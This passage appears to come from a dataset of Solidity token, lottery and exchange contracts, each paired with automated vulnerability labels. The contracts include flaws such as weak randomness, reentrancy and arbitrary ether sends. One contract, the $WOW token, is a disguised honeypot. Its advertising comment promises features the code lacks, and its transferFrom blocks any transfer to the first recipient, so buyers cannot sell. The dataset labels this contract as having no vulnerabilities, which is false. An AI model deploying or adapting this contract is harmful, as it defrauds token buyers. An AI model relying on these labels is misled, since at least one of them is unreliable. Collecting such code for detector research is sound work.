_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function random() private view returns (uint8) {
return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%6);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(random());
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact |
/**
$WOW - WORLD ON WINNERS - Deflationary Community Driven Token
Stealth launch
Liquidity Locked for 365 Days
Small Initial Market Cap
No Dev & Team Token, because $WOW is 100% Driven by Community
Great Features:
* 5% fee auto-add liquidity pool to locked forever when Selling *
* 3% fee auto distribute to reward All Holders *
* 2% Burn Blackhole deflationary tokenomics *
* 50% supply burn at start *
* The strong holder get valuable reward *
Other Info :
500,000,000,000 Total Supply
* Website : https://wowtoken.com/
* Telegram : https://t.me/wowofficial
Its the best parts of the #WOW idea, increasing the liquidity pool automatically, help the pool grow from tiny initial market cap
Audit , Coingecko , CMC & Blockfolio will be launch soon
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "World of Winners";
name = "WOW";
decimals = 8;
_totalSupply = 50000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
contract WOW is TokenERC20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
// sol to CIC token
//
// Senior Development Engineer CHIEH-HSUAN WANG of Lucas.
// Jason Wang <ixhxpns@gmail.com>
// reference https://ethereum.org/token
contract owned {
address public owner;
constructor() owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 is owned {
address public deployer;
// Public variables of the token
string public name ="Call IN";
string public symbol = "CIC";
uint8 public decimals = 4;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = 1000000000000;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Approval(address indexed owner, address indexed spender, uint value);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
deployer = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(allowance[_from][msg.sender] >= _value); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
contract AdvancedToken is TokenERC20 {
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() TokenERC20() public { }
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
uint tempSupply = totalSupply;
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
require(totalSupply >= tempSupply);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function () payable public {
require(false);
}
}
contract CIC is AdvancedToken {
mapping(address => uint) public lockdate;
mapping(address => uint) public lockTokenBalance;
event LockToken(address account, uint amount, uint unixtime);
constructor() AdvancedToken() public {}
function getLockBalance(address account) internal returns(uint) {
if(now >= lockdate[account]) {
lockdate[account] = 0;
lockTokenBalance[account] = 0;
}
return lockTokenBalance[account];
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
uint usableBalance = balanceOf[_from] - getLockBalance(_from);
require(balanceOf[_from] >= usableBalance);
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(usableBalance >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function lockTokenToDate(address account, uint amount, uint unixtime) onlyOwner public {
require(unixtime >= lockdate[account]);
require(unixtime >= now);
if(balanceOf[account] >= amount) {
lockdate[account] = unixtime;
lockTokenBalance[account] = amount;
emit LockToken(account, amount, unixtime);
}
}
function lockTokenDays(address account, uint amount, uint _days) public {
uint unixtime = _days * 1 days + now;
lockTokenToDate(account, amount, unixtime);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) onlyOwner public returns (bool success) {
uint usableBalance = balanceOf[msg.sender] - getLockBalance(msg.sender);
require(balanceOf[msg.sender] >= usableBalance);
require(usableBalance >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
} | These are the vulnerabilities found
1) erc20-interface with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier notOwner() {
require(msg.sender != owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Resume();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to resume, returns to normal state
*/
function resume() onlyOwner whenPaused public {
paused = false;
emit Resume();
}
}
contract LuckyYouTokenInterface {
function airDrop(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
}
contract LuckyYouContract is Pausable {
using SafeMath for uint256;
LuckyYouTokenInterface public luckyYouToken = LuckyYouTokenInterface(0x6D7efEB3DF42e6075fa7Cf04E278d2D69e26a623); //LKY token address
bool public airDrop = true;// weather airdrop LKY tokens to participants or not,owner can set it to true or false;
//set airDrop flag
function setAirDrop(bool _airDrop) public onlyOwner {
airDrop = _airDrop;
}
//if airdrop LKY token to participants , this is airdrop rate per round depends on participated times, owner can set it
uint public baseTokenGetRate = 100;
// set token get rate
function setBaseTokenGetRate(uint _baseTokenGetRate) public onlyOwner {
baseTokenGetRate = _baseTokenGetRate;
}
//if the number of participants less than minParticipants,game will not be fired.owner can set it
uint public minParticipants = 50;
function setMinParticipants(uint _minParticipants) public onlyOwner {
minParticipants = _minParticipants;
}
//base price ,owner can set it
uint public basePrice = 0.01 ether;
function setBasePrice(uint _basePrice) public onlyOwner {
basePrice = _basePrice;
}
uint[5] public times = [1, 5, 5 * 5, 5 * 5 * 5, 5 * 5 * 5 * 5];//1x=0.01 ether;5x=0.05 ether; 5*5x=0.25 ether; 5*5*5x=1.25 ether; 5*5*5*5x=6.25 ether;
//at first only enable 1x(0.02ether) ,enable others proper time in future
bool[5] public timesEnabled = [true, false, false, false, false];
uint[5] public currentCounter = [1, 1, 1, 1, 1];
mapping(address => uint[5]) public participatedCounter;
mapping(uint8 => address[]) private participants;
//todo
mapping(uint8 => uint256) public participantsCount;
mapping(uint8 => uint256) public fundShareLastRound;
mapping(uint8 => uint256) public fundCurrentRound;
mapping(uint8 => uint256) public fundShareRemainLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensCurrentRound;
mapping(uint8 => bytes32) private participantsHashes;
mapping(uint8 => uint8) private lastFiredStep;
mapping(uint8 => address) public lastWinner;
mapping(uint8 => address) public lastFiredWinner;
mapping(uint8 => uint256) public lastWinnerReward;
mapping(uint8 => uint256) public lastFiredWinnerReward;
mapping(uint8 => uint256) public lastFiredFund;
mapping(address => uint256) public whitelist;
uint256 public notInWhitelistAllow = 1;
bytes32 private commonHash = 0x1000;
uint256 public randomNumberIncome = 0;
event Winner1(address value, uint times, uint counter, uint256 reward);
event Winner2(address value, uint times, uint counter, uint256 reward);
function setNotInWhitelistAllow(uint _value) public onlyOwner
{
notInWhitelistAllow = _value;
}
function setWhitelist(uint _value,address [] _addresses) public onlyOwner
{
uint256 count = _addresses.length;
for (uint256 i = 0; i < count; i++) {
whitelist[_addresses [i]] = _value;
}
}
function setTimesEnabled(uint8 _timesIndex, bool _enabled) public onlyOwner
{
require(_timesIndex < timesEnabled.length);
timesEnabled[_timesIndex] = _enabled;
}
function() public payable whenNotPaused {
if(whitelist[msg.sender] | notInWhitelistAllow > 0)
{
uint8 _times_length = uint8(times.length);
uint8 _times = _times_length + 1;
for (uint32 i = 0; i < _times_length; i++)
{
if (timesEnabled[i])
{
if (times[i] * basePrice == msg.value) {
_times = uint8(i);
break;
}
}
}
if (_times > _times_length) {
revert();
}
else
{
if (participatedCounter[msg.sender][_times] < currentCounter[_times])
{
participatedCounter[msg.sender][_times] = currentCounter[_times];
if (airDrop)
{
uint256 _value = baseTokenGetRate * 10 ** 18 * times[_times];
uint256 _plus_value = uint256(keccak256(now, msg.sender)) % _value;
luckyYouToken.airDrop(msg.sender, _value + _plus_value);
}
uint256 senderBalance = luckyYouToken.balanceOf(msg.sender);
if (lastFiredStep[_times] > 0)
{
issueLottery(_times);
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
senderBalance = senderBalance.mul(2);
} else
{
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
}
if (participantsCount[_times] == participants[_times].length)
{
participants[_times].length += 1;
}
participants[_times][participantsCount[_times]++] = msg.sender;
participantsHashes[_times] = keccak256(msg.sender, uint256(commonHash));
commonHash = keccak256(senderBalance,commonHash);
fundCurrentRound[_times] += times[_times] * basePrice;
//share last round fund
if (fundShareRemainLastRound[_times] > 0)
{
uint256 _shareFund = fundShareLastRound[_times].mul(senderBalance).div(fundShareParticipantsTotalTokensLastRound[_times]);
if(_shareFund > 0)
{
if (_shareFund <= fundShareRemainLastRound[_times]) {
fundShareRemainLastRound[_times] -= _shareFund;
msg.sender.transfer(_shareFund);
} else {
uint256 _fundShareRemain = fundShareRemainLastRound[_times];
fundShareRemainLastRound[_times] = 0;
msg.sender.transfer(_fundShareRemain);
}
}
}
if (participantsCount[_times] > minParticipants)
{
if (uint256(keccak256(now, msg.sender, commonHash)) % (minParticipants * minParticipants) < minParticipants)
{
fireLottery(_times);
}
}
} else
{
revert();
}
}
}else{
revert();
}
}
function issueLottery(uint8 _times) private {
uint256 _totalFundRate = lastFiredFund[_times].div(100);
if (lastFiredStep[_times] == 1) {
fundShareLastRound[_times] = _totalFundRate.mul(30) + fundShareRemainLastRound[_times];
if (randomNumberIncome > 0)
{
if (_times == (times.length - 1) || timesEnabled[_times + 1] == false)
{
fundShareLastRound[_times] += randomNumberIncome;
randomNumberIncome = 0;
}
}
fundShareRemainLastRound[_times] = fundShareLastRound[_times];
fundShareParticipantsTotalTokensLastRound[_times] = fundShareParticipantsTotalTokensCurrentRound[_times];
fundShareParticipantsTotalTokensCurrentRound[_times] = 0;
if(fundShareParticipantsTotalTokensLastRound[_times] == 0)
{
fundShareParticipantsTotalTokensLastRound[_times] = 10000 * 10 ** 18;
}
lastFiredStep[_times]++;
} else if (lastFiredStep[_times] == 2) {
lastWinner[_times].transfer(_totalFundRate.mul(65));
lastFiredStep[_times]++;
lastWinnerReward[_times] = _totalFundRate.mul(65);
emit Winner1(lastWinner[_times], _times, currentCounter[_times] - 1, _totalFundRate.mul(65));
} else if (lastFiredStep[_times] == 3) {
if (lastFiredFund[_times] > (_totalFundRate.mul(30) + _totalFundRate.mul(4) + _totalFundRate.mul(65)))
{
owner.transfer(lastFiredFund[_times] - _totalFundRate.mul(30) - _totalFundRate.mul(4) - _totalFundRate.mul(65));
}
lastFiredStep[_times] = 0;
}
}
function fireLottery(uint8 _times) private {
lastFiredFund[_times] = fundCurrentRound[_times];
fundCurrentRound[_times] = 0;
lastWinner[_times] = participants[_times][uint256(participantsHashes[_times]) % participantsCount[_times]];
participantsCount[_times] = 0;
uint256 winner2Reward = lastFiredFund[_times].div(100).mul(4);
msg.sender.transfer(winner2Reward);
lastFiredWinner[_times] = msg.sender;
lastFiredWinnerReward[_times] = winner2Reward;
emit Winner2(msg.sender, _times, currentCounter[_times], winner2Reward);
lastFiredStep[_times] = 1;
currentCounter[_times]++;
}
function _getRandomNumber(uint _round) view private returns (uint256){
return uint256(keccak256(
participantsHashes[0],
participantsHashes[1],
participantsHashes[2],
participantsHashes[3],
participantsHashes[4],
msg.sender
)) % _round;
}
function getRandomNumber(uint _round) public payable returns (uint256){
uint256 tokenBalance = luckyYouToken.balanceOf(msg.sender);
if (tokenBalance >= 100000 * 10 ** 18)
{
return _getRandomNumber(_round);
} else if (msg.value >= basePrice) {
randomNumberIncome += msg.value;
return _getRandomNumber(_round);
} else {
revert();
return 0;
}
}
//in case some bugs
function kill() public {//for test
if (msg.sender == owner)
{
selfdestruct(owner);
}
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) arbitrary-send with High impact
3) incorrect-equality with Medium impact
4) reentrancy-eth with High impact
5) weak-prng with High impact
6) msg-value-loop with High impact
7) unused-return with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity =0.6.12;
// import './interfaces/IFeSwapFactory.sol';
interface IFeSwapFactory {
event PairCreated(address indexed tokenA, address indexed tokenB, address pairAAB, address pairABB, uint);
function feeTo() external view returns (address);
function getFeeInfo() external view returns (address, uint256);
function factoryAdmin() external view returns (address);
function routerFeSwap() external view returns (address);
function rateTriggerFactory() external view returns (uint64);
function rateCapArbitrage() external view returns (uint64);
function rateProfitShare() external view returns (uint64);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createUpdatePair(address tokenA, address tokenB, address pairOwner, uint256 rateTrigger) external returns (address pairAAB,address pairABB);
function setFeeTo(address) external;
function setFactoryAdmin(address) external;
function setRouterFeSwap(address) external;
function configFactory(uint64, uint64, uint64) external;
function managePair(address, address, address, address) external;
}
// import './FeSwapPair.sol';
// import './interfaces/IFeSwapPair.sol';
// import './IFeSwapERC20.sol';
interface IFeSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface IFeSwapPair is IFeSwapERC20 {
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount1Out, address indexed to );
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function pairOwner() external view returns (address);
function tokenIn() external view returns (address);
function tokenOut() external view returns (address);
function getReserves() external view returns ( uint112 _reserveIn, uint112 _reserveOut,
uint32 _blockTimestampLast, uint _rateTriggerArbitrage);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function rateTriggerArbitrage() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amountOut, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address, address, address, uint) external;
function setOwner(address _pairOwner) external;
function adjusArbitragetRate(uint newRate) external;
}
// import './FeSwapERC20.sol';
// import './interfaces/IFeSwapERC20.sol';
// import './libraries/SafeMath.sol';
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract FeSwapERC20 is IFeSwapERC20 {
using SafeMath for uint;
string public constant override name = 'FeSwap';
string public constant override symbol = 'FESP';
uint8 public constant override decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) override external {
require(deadline >= block.timestamp, 'FeSwap: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'FeSwap: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// import './libraries/Math.sol';
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// import './libraries/UQ112x112.sol';
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// import './interfaces/IERC20.sol';
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// import './interfaces/IFeSwapFactory.sol';
// import './interfaces/IFeSwapCallee.sol';
interface IFeSwapCallee {
